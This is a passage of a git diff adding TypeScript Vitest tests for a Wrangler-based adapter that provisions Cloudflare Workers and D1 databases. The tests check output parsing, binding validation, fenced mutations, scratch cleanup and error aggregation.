( + await backend( + uploadRunner({ + dispatchFails: true, + dispatchFailure: undefined, + commitBeforeFailure: false, + }), + ) + ).deployWorker(spec, database, secrets, undefined, mutationFence()), + ); + expect(rejection).toBeInstanceOf(WorkerDeploymentError); + if (!(rejection instanceof WorkerDeploymentError)) return; + expect(rejection.cause).toBeInstanceOf(Error); + if (!(rejection.cause instanceof Error)) return; + expect(rejection.cause.message).toContain( + 'did not create exactly one new tagged Worker version', + ); + }); + + it('preserves WorkerDeploymentError metadata and cause order through adapter cleanup aggregation', async () => { + const dispatchFailure = new Error('dispatch failed before commit'); + const withoutCleanup = await rejectedValue( + ( + await backend( + uploadRunner({ + dispatchFails: true, + dispatchFailure, + commitBeforeFailure: false, + }), + ) + ).deployWorker(spec, database, secrets, undefined, mutationFence()), + ); + expect(withoutCleanup).toBeInstanceOf(WorkerDeploymentError); + if (!(withoutCleanup instanceof WorkerDeploymentError)) return; + expect(withoutCleanup.cause).toBe(dispatchFailure); + expect(withoutCleanup.message).toBe( + "failed to install Worker 'acme-production': dispatch failed before commit", + ); + + fsControl.failFleetCleanup = true; + const cleanupFailure = fsControl.cleanupError; + const withCleanup = await rejectedValue( + ( + await backend( + uploadRunner({ + dispatchFails: true, + dispatchFailure, + commitBeforeFailure: false, + }), + ) + ).deployWorker(spec, database, secrets, undefined, mutationFence()), + ); + expect(withCleanup).toBeInstanceOf(WorkerDeploymentError); + if (!(withCleanup instanceof WorkerDeploymentError)) return; + expect(withCleanup.createdByAttempt).toBe(withoutCleanup.createdByAttempt); + expect(withCleanup.resourceState).toBe(withoutCleanup.resourceState); + expect(withCleanup.cause).toBeInstanceOf(AggregateError); + if (!(withCleanup.cause instanceof AggregateError)) return; + expect(withCleanup.message).toBe( + "failed to install Worker 'acme-production': Worker upload and adapter scratch cleanup both failed", + ); + expect(withCleanup.message).not.toContain(': :'); + const errors = withCleanup.cause.errors; + expect(errors).toHaveLength(2); + expect(errors[0]).toBe(dispatchFailure); + expect(errors[1]).toBe(cleanupFailure); + }); + + it.each([ + [ + 'missing version id', + 'wrangler deployment status has an invalid version', + { versions: [{ percentage: 10 }] }, + ], + [ + 'empty inventory', + 'wrangler deployment status has no versions', + { versions: [] }, + ], + [ + 'negative percentage', + 'wrangler deployment status has an invalid version', + { versions: [{ id: 'v1', percentage: -1 }] }, + ], + [ + 'omitted percentage', + 'wrangler deployment status has an invalid version', + { versions: [{ id: 'v1' }] }, + ], + [ + 'non-numeric percentage', + 'wrangler deployment status has an invalid version', + { versions: [{ id: 'v1', percentage: 'NaN' }] }, + ], + ])('keeps the %s backend deployment-status refusal', async (_title, message, status) => { + const runner = new FakeRunner(async () => ({ + stdout: JSON.stringify(status), + stderr: '', + })); + await expect( + (await backend(runner)).inspect(spec, secrets.maintenanceAdmin), + ).rejects.toThrow(message); + }); + + it('name-reconciles a dispatched D1 create failure', async () => { + const dispatchFailure = new Error('name conflict'); + const runner = new FakeRunner(async (arguments_) => { + if (arguments_[1] === 'create') throw dispatchFailure; + return { + stdout: JSON.stringify([{ uuid: database.id, name: database.name }]), + stderr: '', + }; + }); + const subject = await backend(runner); + subject.readDeploymentIdentity = async () => undefined; + await expect( + subject.ensureDatabase(spec, mutationFence()), + ).resolves.toEqual({ + ...database, + created: true, + }); + }); + + it('refuses a matching D1 list row whose uuid is empty', async () => { + const runner = new FakeRunner(async () => ({ + stdout: JSON.stringify([{ uuid: '', name: spec.databaseName }]), + stderr: '', + })); + await expect((await backend(runner)).findDatabase(spec)).rejects.toThrow( + 'D1 list result has no uuid', + ); + }); + + it('runs force-decommission D1 read, identity, deletion, and verification in one fenced scope', async () => { + const events: string[] = []; + let present = true; + const route = routeApi({ + async withMutationFence(fence, operation) { + events.push('scope'); + await fence.assertOwned(); + return operation(); + }, + async getDatabase() { + events.push('read'); + return present ? { ...database, created: false } : undefined; + }, + async deleteDatabase() { + events.push('delete'); + present = false; + }, + }); + const owned = vi.fn(async () => {}); + await ( + await backend(new FakeRunner(async () => ({ stdout: '', stderr: '' })), { + routeApi: route, + }) + ).forceDecommissionStep( + fleetRecord, + 'delete-database', + mutationFence(owned), + ); + expect(events).toEqual(['scope', 'read', 'delete', 'read']); + expect(owned).toHaveBeenCalledTimes(1); + }); +}); diff --git a/packages/fleet-control/test/wrangler-plain-worker-provisioning-api.test.ts b/packages/fleet-control/test/wrangler-plain-worker-provisioning-api.test.ts new file mode 100644 index 00000000..4877feeb --- /dev/null +++ b/packages/fleet-control/test/wrangler-plain-worker-provisioning-api.test.ts @@ -0,0 +1,1240 @@ +// SPDX-License-Identifier: Apache-2.0 + +import { createHash } from 'node:crypto'; +import { mkdtemp, readFile, stat, writeFile } from 'node:fs/promises'; +import { tmpdir } from 'node:os'; +import { dirname, join } from 'node:path'; +import { describe, expect, it, vi } from 'vitest'; +import type { DurableDatabaseExportStore } from '../src/cloudflare-client.js'; +import { + assertSupportedPlainWorkerBindings, + plainWorkerBindingsToProviderShape, +} from '../src/provider-binding-inventory.js'; +import type { + ExternalMutationFence, + PlainWorkerRouteApi, + PlainWorkerUploadIntent, +} from '../src/types.js'; +import { WranglerPlainWorkerProvisioningApi } from '../src/wrangler-plain-worker-provisioning-api.js'; +import type { CommandResult, CommandRunner } from '../src/wrangler-runner.js'; +import { + drain, + memoryStore, + mutationFence, + routeApi, +} from './fixtures/plain-worker-port-probe.js'; +import { + type PlainWorkerFsControl, + registerScratchCleanup, +} from './fixtures/wrangler-fs-mock.js'; + +const fsControl = vi.hoisted(() => ({ + failFleetCleanup: false, + residualDirectory: undefined, + cleanupError: new Error('scratch cleanup failed'), + failOperation: undefined, + operationError: new Error('filesystem operation failed'), + scratchDirectories: [], +})); + +function scratchDirectories(): string[] { + const directories = fsControl.scratchDirectories; + if (!directories) { + throw new Error( + 'adapter test filesystem control requires scratch tracking', + ); + } + return directories; +} + +vi.mock('node:fs/promises', async () => { + const { createFsPromisesMock } = await import( + './fixtures/wrangler-fs-mock.js' + ); + return createFsPromisesMock(fsControl); +}); + +const exportDirectories = registerScratchCleanup(fsControl, { + cleanupError: fsControl.cleanupError, + operationError: fsControl.operationError, +}); + +interface RunnerCall { + readonly arguments: readonly string[]; +} + +class FakeRunner implements CommandRunner { + readonly maxDurationMs = 5 * 60_000; + readonly calls: RunnerCall[] = []; + + constructor( + readonly handler: ( + arguments_: readonly string[], + ) => Promise = async () => ({ stdout: '', stderr: '' }), + ) {} + + run(arguments_: readonly string[]): Promise { + this.calls.push({ arguments: [...arguments_] }); + return this.handler(arguments_); + } +} + +async function api( + runner: CommandRunner, + options: { + readonly routeApi?: PlainWorkerRouteApi; + readonly exportStore?: DurableDatabaseExportStore; + readonly exportDirectory?: string; + } = {}, +): Promise { + const exportDirectory = + options.exportDirectory ?? + (await mkdtemp(join(tmpdir(), 'adapter-export-'))); + if (!options.exportDirectory) exportDirectories.add(exportDirectory); + return new WranglerPlainWorkerProvisioningApi({ + runner, + routeApi: options.routeApi ?? routeApi(), + exportDirectory, + exportStore: options.exportStore ?? memoryStore(), + }); +} + +function uploadIntent(mode: 'initial' | 'staged'): PlainWorkerUploadIntent { + const shared = { + scriptName: 'worker-name', + candidateTag: 'candidate-tag', + mainModule: 'worker.js', + modules: [{ name: 'worker.js', content: 'export default {}' }], + compatibilityDate: '2026-08-10', + compatibilityFlags: undefined, + bindings: { + plainText: [{ name: 'TEXT', value: 'value' }], + secrets: [{ name: 'SECRET', value: 'secret' }], + d1: [{ name: 'DB', databaseId: 'db-id', databaseName: 'db-name' }], + durableObjects: [{ name: 'OBJECT', className: 'ObjectClass' }], + services: [], + queueProducers: [], + r2Buckets: [{ name: 'BUCKET', bucketName: 'bucket-name' }], + }, + limits: { cpuMs: 25 }, + publicAccess: { workersDevEnabled: true, previewUrlsEnabled: false }, + } as const; + return mode === 'initial' + ? { + ...shared, + mode, + durableObjectMigrations: [ + { + tag: 'v1', + newSqliteClasses: ['ObjectClass'], + newClasses: [], + deletedClasses: [], + renamedClasses: [], + }, + ], + } + : { ...shared, mode }; +} + +async function expectUploadScratchRemoved(): Promise { + const actual = + await vi.importActual( + 'node:fs/promises', + ); + expect(scratchDirectories().length).toBeGreaterThan(0); + for (const directory of scratchDirectories()) { + await expect(actual.stat(directory)).rejects.toThrow(); + } +} + +async function expectExportScratchRemoved(outputPath: string): Promise { + const actual = + await vi.importActual( + 'node:fs/promises', + ); + await expect(actual.stat(dirname(outputPath))).rejects.toThrow(); +} + +describe('WranglerPlainWorkerProvisioningApi parsing', () => { + it.each([ + ['array', '[{"uuid":"db-1","name":"one"}]'], + ['wrapped array', '{"result":[{"uuid":"db-1","name":"one"}]}'], + ['wrapped object', '{"result":{"uuid":"db-1","name":"one"}}'], + ])('parses %s JSON results', async (_name, stdout) => { + const subject = await api( + new FakeRunner(async () => ({ stdout, stderr: '' })), + ); + await expect(subject.listDatabases()).resolves.toEqual([ + { databaseId: 'db-1', name: 'one' }, + ]); + }); + + it('rejects invalid JSON with the operation name', async () => { + const subject = await api( + new FakeRunner(async () => ({ stdout: '{', stderr: '' })), + ); + await expect(subject.listDatabases()).rejects.toThrow( + 'wrangler d1 list returned invalid JSON', + ); + }); + + it('normalizes every binding branch and preserves D1 id precedence', async () => { + const bindings = [ + { type: 'd1', name: 'DB', id: '', database_id: 'db-alias' }, + { + type: 'durable_object_namespace', + name: 'OBJECT', + class_name: 'ObjectClass', + namespace_id: 'namespace', + }, + { type: 'service', name: 'SERVICE', service: 'upstream' }, + { type: 'queue', name: 'QUEUE', queue_name: 'queue-name' }, + { type: 'r2_bucket', name: 'BUCKET', bucket_name: 'bucket-name' }, + { type: 'plain_text', name: 'TEXT', text: 'value' }, + { type: 'secret_text', name: 'SECRET' }, + { type: 'kv_namespace', name: 'KV' }, + { type: ' ', name: 'INVALID' }, + null, + ]; + const subject = await api( + new FakeRunner(async () => ({ + stdout: JSON.stringify({ resources: { bindings } }), + stderr: '', + })), + ); + const viewed = await subject.viewVersion('worker', 'requested'); + expect(viewed).toEqual({ + versionId: undefined, + tag: undefined, + bindings: [ + { type: 'd1', name: 'DB', databaseId: '' }, + { + type: 'durable-object', + name: 'OBJECT', + className: 'ObjectClass', + namespaceId: 'namespace', + }, + { type: 'service', name: 'SERVICE', service: 'upstream' }, + { type: 'queue-producer', name: 'QUEUE', queueName: 'queue-name' }, + { type: 'r2-bucket', name: 'BUCKET', bucketName: 'bucket-name' }, + { type: 'plain-text', name: 'TEXT', value: 'value' }, + { type: 'secret-text', name: 'SECRET' }, + { + type: 'unsupported', + name: 'KV', + providerType: 'kv_namespace', + issue: 'unsupported-type', + }, + { + type: 'unsupported', + name: 'INVALID', + providerType: ' ', + issue: 'invalid-type', + }, + { + type: 'unsupported', + name: undefined, + issue: 'not-object', + }, + ], + }); + expect(() => + assertSupportedPlainWorkerBindings( + viewed.bindings.slice(0, 1), + "plain Worker 'worker'", + ), + ).toThrow( + "plain Worker 'worker' has an unsupported or malformed provider binding", + ); + }); + + it.each([ + [ + 'D1 id', + { type: 'd1', name: 'DB', id: 'db-id' }, + { type: 'd1', name: 'DB', id: 'db-id' }, + ], + [ + 'D1 database_id', + { type: 'd1', name: 'DB', database_id: 'db-id' }, + { type: 'd1', name: 'DB', id: 'db-id' }, + ], + [ + 'Durable Object', + { + type: 'durable_object_namespace', + name: 'OBJECT', + namespace_id: 'namespace-id', + class_name: 'ObjectClass', + }, + { + type: 'durable_object_namespace', + name: 'OBJECT', + namespace_id: 'namespace-id', + class_name: 'ObjectClass', + }, + ], + [ + 'service', + { type: 'service', name: 'SERVICE', service: 'upstream' }, + { type: 'service', name: 'SERVICE', service: 'upstream' }, + ], + [ + 'queue producer', + { type: 'queue', name: 'QUEUE', queue_name: 'queue-name' }, + { type: 'queue', name: 'QUEUE', queue_name: 'queue-name' }, + ], + [ + 'R2 bucket', + { type: 'r2_bucket', name: 'BUCKET', bucket_name: 'bucket-name' }, + { type: 'r2_bucket', name: 'BUCKET', bucket_name: 'bucket-name' }, + ], + [ + 'plain text', + { type: 'plain_text', name: 'TEXT', text: 'value' }, + { type: 'plain_text', name: 'TEXT', text: 'value' }, + ], + [ + 'secret text', + { type: 'secret_text', name: 'SECRET' }, + { type: 'secret_text', name: 'SECRET' }, + ], + ] as const)('round-trips the exact valid %s wire object through inventory reconstruction', async (_title, binding, reconstructedBinding) => { + const subject = await api( + new FakeRunner(async () => ({ + stdout: JSON.stringify({ resources: { bindings: [binding] } }), + stderr: '', + })), + ); + const viewed = await subject.viewVersion('worker', 'version'); + expect(plainWorkerBindingsToProviderShape(viewed.bindings)).toEqual([ + reconstructedBinding, + ]); + expect( + assertSupportedPlainWorkerBindings(viewed.bindings, 'version'), + ).toEqual([{ type: reconstructedBinding.type, name: binding.name }]); + }); + + it('reconstructs the exact unsupported provider wire objects', () => { + expect( + plainWorkerBindingsToProviderShape([ + { type: 'unsupported', name: undefined, issue: 'not-object' }, + { + type: 'unsupported', + name: 'INVALID_STRING', + providerType: ' ', + issue: 'invalid-type', + }, + { + type: 'unsupported', + name: 'INVALID_NON_STRING', + providerType: undefined, + issue: 'invalid-type', + }, + { + type: 'unsupported', + name: 'KV', + providerType: 'kv_namespace', + issue: 'unsupported-type', + }, + ]), + ).toStrictEqual([ + undefined, + { type: ' ', name: 'INVALID_STRING' }, + { type: undefined, name: 'INVALID_NON_STRING' }, + { type: 'kv_namespace', name: 'KV' }, + ]); + }); + + it.each([ + ['D1', { type: 'd1', name: ' ', id: 'db-id' }], + [ + 'Durable Object', + { + type: 'durable_object_namespace', + name: ' ', + namespace_id: 'namespace', + class_name: 'ObjectClass', + }, + ], + ['service', { type: 'service', name: ' ', service: 'upstream' }], + ['queue', { type: 'queue', name: ' ', queue_name: 'queue' }], + ['R2', { type: 'r2_bucket', name: ' ', bucket_name: 'bucket' }], + ['plain text', { type: 'plain_text', name: ' ', text: '' }], + ['secret text', { type: 'secret_text', name: ' ' }], + ] as const)('reports the exact index for a blank %s binding name', async (_title, binding) => { + const subject = await api( + new FakeRunner(async () => ({ + stdout: JSON.stringify({ resources: { bindings: [binding] } }), + stderr: '', + })), + ); + const viewed = await subject.viewVersion('worker', 'version'); + expect(() => + assertSupportedPlainWorkerBindings(viewed.bindings, 'version'), + ).toThrow('version binding 0 has no valid name'); + }); + + it.each([ + ['D1 missing id', { type: 'd1', name: 'DB' }], + ['D1 blank id', { type: 'd1', name: 'DB', id: ' ' }], + [ + 'Durable Object missing namespace', + { + type: 'durable_object_namespace', + name: 'OBJECT', + class_name: 'ObjectClass', + }, + ], + [ + 'Durable Object blank class', + { + type: 'durable_object_namespace', + name: 'OBJECT', + namespace_id: 'namespace', + class_name: ' ', + }, + ], + ['service missing target', { type: 'service', name: 'SERVICE' }], + [ + 'service blank target', + { type: 'service', name: 'SERVICE', service: ' ' }, + ], + ['queue missing target', { type: 'queue', name: 'QUEUE' }], + ['queue blank target', { type: 'queue', name: 'QUEUE', queue_name: ' ' }], + ['R2 missing bucket', { type: 'r2_bucket', name: 'BUCKET' }], + [ + 'R2 blank bucket', + { type: 'r2_bucket', name: 'BUCKET', bucket_name: ' ' }, + ], + ['plain text missing value', { type: 'plain_text', name: 'TEXT' }], + ] as const)('refuses malformed %s with the exact inventory message', async (_title, binding) => { + const subject = await api( + new FakeRunner(async () => ({ + stdout: JSON.stringify({ resources: { bindings: [binding] } }), + stderr: '', + })), + ); + const viewed = await subject.viewVersion('worker', 'version'); + expect(() => + assertSupportedPlainWorkerBindings(viewed.bindings, 'version'), + ).toThrow('version has an unsupported or malformed provider binding'); + }); + + it('exposes the raw provider type on the unsupported binding fact', async () => { + const subject = await api( + new FakeRunner(async () => ({ + stdout: JSON.stringify({ + resources: { bindings: [{ type: 'kv_namespace', name: 'KV' }] }, + }), + stderr: '', + })), + ); + const viewed = await subject.viewVersion('worker', 'version'); + expect(viewed.bindings).toEqual([ + { + type: 'unsupported', + name: 'KV', + providerType: 'kv_namespace', + issue: 'unsupported-type', + }, + ]); + expect(() => + assertSupportedPlainWorkerBindings(viewed.bindings, 'version'), + ).toThrow('version has an unsupported or malformed provider binding'); + }); + + it.each([ + [ + 'invalid string type', + { type: ' ', name: 'INVALID' }, + { + type: 'unsupported', + name: 'INVALID', + providerType: ' ', + issue: 'invalid-type', + }, + ], + [ + 'invalid non-string type', + { type: 42, name: 'INVALID' }, + { + type: 'unsupported', + name: 'INVALID', + providerType: undefined, + issue: 'invalid-type', + }, + ], + ] as const)('refuses the %s binding with the exact inventory message', async (_title, binding, expectedBinding) => { + const subject = await api( + new FakeRunner(async () => ({ + stdout: JSON.stringify({ resources: { bindings: [binding] } }), + stderr: '', + })), + ); + const viewed = await subject.viewVersion('worker', 'version'); + expect(viewed.bindings[0]).toStrictEqual(expectedBinding); + expect(() => + assertSupportedPlainWorkerBindings(viewed.bindings, 'version'), + ).toThrowError(new Error('version binding 0 has no valid type')); + }); + + it('reports binding indexes and duplicate names through the shared inventory', () => { + expect(() => + assertSupportedPlainWorkerBindings( + [ + { + type: 'unsupported', + name: undefined, + issue: 'not-object', + }, + ], + 'version', + ), + ).toThrow('version binding 0 is not an object'); + expect(() => + assertSupportedPlainWorkerBindings( + [ + { type: 'secret-text', name: 'DUPLICATE' }, + { type: 'plain-text', name: 'DUPLICATE', value: 'value' }, + ], + 'version', + ), + ).toThrow('version has duplicate provider binding names'); + }); + + it('uses route D1 reads, falls back to Wrangler, and classifies absence only', async () => { + const routeRead = vi.fn(async () => ({ + id: 'db', + name: 'route', + created: false, + })); + const routeSubject = await api(new FakeRunner(), { + routeApi: routeApi({ getDatabase: routeRead }), + }); + await expect(routeSubject.getDatabase('db')).resolves.toEqual({ + id: 'db', + name: 'route', + created: false, + }); + expect(routeRead).toHaveBeenCalledWith('db'); + + const success = await api( + new FakeRunner(async () => ({ + stdout: '{"result":{"uuid":"db","name":"fallback"}}', + stderr: '', + })), + ); + await expect(success.getDatabase('db')).resolves.toEqual({ + id: 'db', + name: 'fallback', + created: false, + }); + + const absent = await api( + new FakeRunner(async () => { + throw new Error('D1 database does not exist'); + }), + ); + await expect(absent.getDatabase('db')).resolves.toBeUndefined(); + const denied = new Error('authentication failed'); + const failure = await api( + new FakeRunner(async () => { + throw denied; + }), + ); + await expect(failure.getDatabase('db')).rejects.toBe(denied); + const malformed = await api( + new FakeRunner(async () => ({ stdout: '{"uuid":"other"}', stderr: '' })), + ); + await expect(malformed.getDatabase('db')).rejects.toThrow( + 'D1 info result has an invalid uuid or name', + ); + }); + + it('distinguishes an absent version inventory from an empty one and preserves missing ids', async () => { + const absent = await api( + new FakeRunner(async () => { + throw new Error('Worker not found'); + }), + ); + await expect(absent.listVersions('worker')).resolves.toBeUndefined(); + const empty = await api( + new FakeRunner(async () => ({ stdout: '[]', stderr: '' })), + ); + await expect(empty.listVersions('worker')).resolves.toEqual([]); + const incomplete = await api( + new FakeRunner(async () => ({ + stdout: '[{"tag":"candidate"}]', + stderr: '', + })), + ); + await expect(incomplete.listVersions('worker')).resolves.toEqual([ + { versionId: undefined, tag: 'candidate' }, + ]); + const denied = new Error('version inventory permission denied'); + const failure = await api( + new FakeRunner(async () => { + throw denied; + }), + ); + await expect(failure.listVersions('worker')).rejects.toBe(denied); + }); + + it('keeps strict and absence-classifying version reads separate', async () => { + const missing = new Error('version 10090 not found'); + const subject = await api( + new FakeRunner(async () => { + throw missing; + }), + ); + await expect(subject.viewVersion('worker', 'v1')).rejects.toBe(missing); + await expect(subject.findVersion('worker', 'v1')).resolves.toBeUndefined(); + const denied = new Error('permission denied'); + const failure = await api( + new FakeRunner(async () => { + throw denied; + }), + ); + await expect(failure.findVersion('worker', 'v1')).rejects.toBe(denied); + }); + + it('returns raw deployment facts without applying backend refusals', async () => { + const subject = await api( + new FakeRunner(async () => ({ + stdout: + '{"result":{"versions":[{"id":"v1","percentage":"25"},{"id":"v2"},{"id":"v3","percentage":"not-a-number"},{"id":"v4","percentage":null}]}}', + stderr: '', + })), + ); + await expect(subject.deploymentStatus('worker')).resolves.toEqual({ + versions: [ + { versionId: 'v1', percentage: 25 }, + { versionId: 'v2', percentage: undefined }, + { versionId: 'v3', percentage: Number.NaN }, + { versionId: 'v4', percentage: 0 }, + ], + }); + const denied = new Error('deployment status permission denied'); + const failure = await api( + new FakeRunner(async () => { + throw denied; + }), + ); + await expect(failure.deploymentStatus('worker')).rejects.toBe(denied); + }); +}); + +describe('WranglerPlainWorkerProvisioningApi mutations', () => { + it.each([ + 'initial', + 'staged', + ] as const)('writes the exact %s config, secret mode, and argv', async (mode) => { + let config: unknown; + let secretMode: number | undefined; + const runner = new FakeRunner(async (arguments_) => { + const configPath = arguments_[ + arguments_.indexOf('--config') + 1 + ] as string; + const secretsPath = arguments_[ + arguments_.indexOf('--secrets-file') + 1 + ] as string; + config = JSON.parse(await readFile(configPath, 'utf8')); + secretMode = (await stat(secretsPath)).mode & 0o777; + expect(arguments_).toEqual([ + ...(mode === 'initial' ? ['deploy'] : ['versions', 'upload']), + '--config', + configPath, + '--secrets-file', + secretsPath, + '--tag', + 'candidate-tag', + ]); + return { stdout: '', stderr: '' }; + }); + const outcome = await (await api(runner)).uploadCandidate( + uploadIntent(mode), + mutationFence(), + ); + expect(outcome).toEqual({ + status: 'succeeded', + cleanup: { status: 'succeeded' }, + }); + expect(secretMode).toBe(0o600); + expect(config).toEqual({ + name: 'worker-name', + main: 'worker.js', + workers_dev: true, + preview_urls: false, + compatibility_date: '2026-08-10', + vars: { TEXT: 'value' }, + d1_databases: [ + { binding: 'DB', database_name: 'db-name', database_id: 'db-id' }, + ], + durable_objects: { + bindings: [{ name: 'OBJECT', class_name: 'ObjectClass' }], + }, + ...(mode === 'initial' + ? { + migrations: [ + { + tag: 'v1', + new_sqlite_classes: ['ObjectClass'], + new_classes: [], + deleted_classes: [], + renamed_classes: [], + }, + ], + } + : {}), + r2_buckets: [{ binding: 'BUCKET', bucket_name: 'bucket-name' }], + limits: { cpu_ms: 25 }, + }); + await expectUploadScratchRemoved(); + }); + + it('asserts immediately before every Wrangler mutation dispatch', async () => { + const events: string[] = []; + const runner = new FakeRunner(async (arguments_) => { + events.push(`run:${arguments_[0]}`); + if (arguments_[0] === 'd1' && arguments_[1] === 'export') { + await writeFile( + arguments_[arguments_.indexOf('--output') + 1] as string, + 'select 1;', + ); + } + return { stdout: '', stderr: '' }; + }); + const subject = await api(runner); + const owned = mutationFence( + vi.fn(async () => { + events.push('assert'); + }), + ); + const calls = [ + ['d1', () => subject.createDatabase('db', owned)], + [ + 'versions', + () => + subject.createDeployment( + 'worker', + [{ versionId: 'v1', percentage: 100 }], + owned, + ), + ], + ['delete', () => subject.deleteWorkerScript('worker', owned)], + [ + 'versions', + () => subject.uploadCandidate(uploadIntent('staged'), owned), + ], + ['d1', () => subject.exportDatabase({ id: 'db', name: 'name' }, owned)], + ] as const; + for (const [command, call] of calls) { + events.length = 0; + await call(); + expect(events).toEqual(['assert', `run:${command}`]); + } + }); + + it.each([ + 'createDatabase', + 'createDeployment', + 'deleteWorkerScript', + 'uploadCandidate', + 'exportDatabase', + ] as const)('rejects a not-found-shaped fence failure before %s dispatch', async (method) => { + const runner = new FakeRunner(); + const subject = await api(runner); + const denied = new Error('lease not found'); + const deniedFence = mutationFence( + vi.fn(async () => { + throw denied; + }), + ); + const operation = { + createDatabase: () => subject.createDatabase('db', deniedFence), + createDeployment: () => + subject.createDeployment('worker', [], deniedFence), + deleteWorkerScript: () => + subject.deleteWorkerScript('worker', deniedFence), + uploadCandidate: () => + subject.uploadCandidate(uploadIntent('staged'), deniedFence), + exportDatabase: () => + subject.exportDatabase({ id: 'db', name: 'db' }, deniedFence), + }[method]; + await expect(operation()).rejects.toBe(denied); + expect(runner.calls).toEqual([]); + expect(deniedFence.assertOwned).toHaveBeenCalledTimes(1); + if (method === 'uploadCandidate') await expectUploadScratchRemoved(); + }); + + it('retains a pre-dispatch upload denial when scratch cleanup also fails', async () => { + fsControl.failFleetCleanup = true; + const cleanupError = fsControl.cleanupError; + const denied = new Error('lease lost before upload dispatch'); + const runner = new FakeRunner(); + const subject = await api(runner); + const rejection = await subject + .uploadCandidate( + uploadIntent('staged'), + mutationFence( + vi.fn(async () => { + throw denied; + }), + ), + ) + .then( + () => new Error('expected upload to reject'), + (error: unknown) => error, + ); + expect(rejection).toBeInstanceOf(AggregateError); + const aggregate = rejection as AggregateError; + expect(aggregate.message).toBe( + 'Worker upload preparation and adapter scratch cleanup both failed', + ); + expect(aggregate.errors).toHaveLength(2); + expect(aggregate.errors[0]).toBe(denied); + expect(aggregate.errors[1]).toBe(cleanupError); + expect(runner.calls).toEqual([]); + }); + + it('classifies undefined upload rejection values by dispatch state', async () => { + fsControl.failOperation = 'writeFile'; + fsControl.operationError = undefined; + const preparationRunner = new FakeRunner(); + const preparation = await api(preparationRunner); + await expect( + preparation.uploadCandidate(uploadIntent('staged'), mutationFence()), + ).rejects.toBeUndefined(); + expect(preparationRunner.calls).toEqual([]); + await expectUploadScratchRemoved(); + + fsControl.failOperation = undefined; + scratchDirectories().length = 0; + const preDispatchRunner = new FakeRunner(); + const preDispatch = await api(preDispatchRunner); + await expect( + preDispatch.uploadCandidate( + uploadIntent('staged'), + mutationFence(vi.fn(() => Promise.reject(undefined))), + ), + ).rejects.toBeUndefined(); + expect(preDispatchRunner.calls).toEqual([]); + await expectUploadScratchRemoved(); + + scratchDirectories().length = 0; + const dispatched = await api( + new FakeRunner(() => Promise.reject(undefined)), + ); + await expect( + dispatched.uploadCandidate(uploadIntent('staged'), mutationFence()), + ).resolves.toEqual({ + status: 'failed', + error: undefined, + cleanup: { status: 'succeeded' }, + }); + await expectUploadScratchRemoved(); + + scratchDirectories().length = 0; + fsControl.failFleetCleanup = true; + fsControl.cleanupError = undefined; + const cleanup = await api(new FakeRunner()); + await expect( + cleanup.uploadCandidate(uploadIntent('staged'), mutationFence()), + ).resolves.toEqual({ + status: 'succeeded', + cleanup: { status: 'failed', error: undefined }, + }); + expect(fsControl.residualDirectory).toBeDefined(); + }); + + it('requires both exact-ID route methods and has no unfenced delete member', async () => { + let runInsideCalls = 0; + // vi.fn erases this generic, so keep the hand-rolled fenced scope. + async function runInside( + fence: ExternalMutationFence, + operation: () => Promise, + ): Promise { + runInsideCalls += 1; + await fence.assertOwned(); + return operation(); + } + const deleteDatabase = vi.fn(async () => {}); + const subject = await api(new FakeRunner(), { + routeApi: routeApi({ + withMutationFence: runInside, + getDatabase: async () => undefined, + deleteDatabase, + }), + }); + expect('deleteDatabase' in subject).toBe(false); + await subject.deleteDatabaseFenced('db', mutationFence()); + expect(runInsideCalls).toBe(1); + expect(deleteDatabase).toHaveBeenCalledWith('db'); + const unsupported = await api(new FakeRunner()); + await expect( + unsupported.deleteDatabaseFenced('db', mutationFence()), + ).rejects.toThrow( + 'Wrangler plain Worker adapter requires immutable-ID D1 route methods', + ); + }); + + it('returns delete outcomes and rethrows non-absence failures', async () => { + const deleted = await api(new FakeRunner()); + await expect( + deleted.deleteWorkerScript('worker', mutationFence()), + ).resolves.toBe('deleted'); + const absent = await api( + new FakeRunner(async () => { + throw new Error('script not found'); + }), + ); + await expect( + absent.deleteWorkerScript('worker', mutationFence()), + ).resolves.toBe('absent'); + const denied = new Error('denied'); + const failed = await api( + new FakeRunner(async () => { + throw denied; + }), + ); + await expect( + failed.deleteWorkerScript('worker', mutationFence()), + ).rejects.toBe(denied); + }); + + it('reports upload preparation, dispatch, and cleanup failures separately', async () => { + const prepRunner = new FakeRunner(); + const prep = await api(prepRunner); + await expect( + prep.uploadCandidate( + { + ...uploadIntent('staged'), + modules: [{ name: '../escape.js', content: '' }], + }, + mutationFence(), + ), + ).rejects.toThrow('escapes the staging directory'); + expect(prepRunner.calls).toEqual([]); + await expectUploadScratchRemoved(); + + scratchDirectories().length = 0; + const dispatchError = new Error('dispatch failed'); + const dispatch = await api( + new FakeRunner(async () => { + throw dispatchError; + }), + ); + await expect( + dispatch.uploadCandidate(uploadIntent('staged'), mutationFence()), + ).resolves.toEqual({ + status: 'failed', + error: dispatchError, + cleanup: { status: 'succeeded' }, + }); + await expectUploadScratchRemoved(); + + scratchDirectories().length = 0; + fsControl.failFleetCleanup = true; + const cleanup = await api(new FakeRunner()); + await expect( + cleanup.uploadCandidate(uploadIntent('staged'), mutationFence()), + ).resolves.toEqual({ + status: 'succeeded', + cleanup: { status: 'failed', error: fsControl.cleanupError }, + }); + expect(fsControl.residualDirectory).toBeDefined(); + }); + + it('retains dispatch and cleanup errors together', async () => { + fsControl.failFleetCleanup = true; + const dispatchError = new Error('dispatch failed'); + const subject = await api( + new FakeRunner(async () => { + throw dispatchError; + }), + ); + await expect( + subject.uploadCandidate(uploadIntent('staged'), mutationFence()), + ).resolves.toEqual({ + status: 'failed', + error: dispatchError, + cleanup: { status: 'failed', error: fsControl.cleanupError }, + }); + }); + + it('delegates optional R2 capabilities only when present', async () => { + const listWorkerR2Attachments = vi.fn(async () => []); + const getR2Bucket = vi.fn(async () => undefined); + const createR2Bucket = vi.fn(async () => {}); + const assertR2BucketEmpty = vi.fn(async () => {}); + const deleteR2Bucket = vi.fn(async () => {}); + const present = await api(new FakeRunner(), { + routeApi: routeApi({ + listWorkerR2Attachments, + getR2Bucket, + createR2Bucket, + assertR2BucketEmpty, + deleteR2Bucket, + }), + }); + const resource = { + name: 'BUCKET', + bucketName: 'bucket', + jurisdiction: 'default', + } as const; + const owned = mutationFence(); + await present.listWorkerR2Attachments?.('bucket'); + await present.getR2Bucket?.('bucket', 'default'); + await present.createR2Bucket?.(resource, owned); + await present.assertR2BucketEmpty?.(resource); + await present.deleteR2Bucket?.(resource, owned); + expect(listWorkerR2Attachments).toHaveBeenCalledWith('bucket'); + 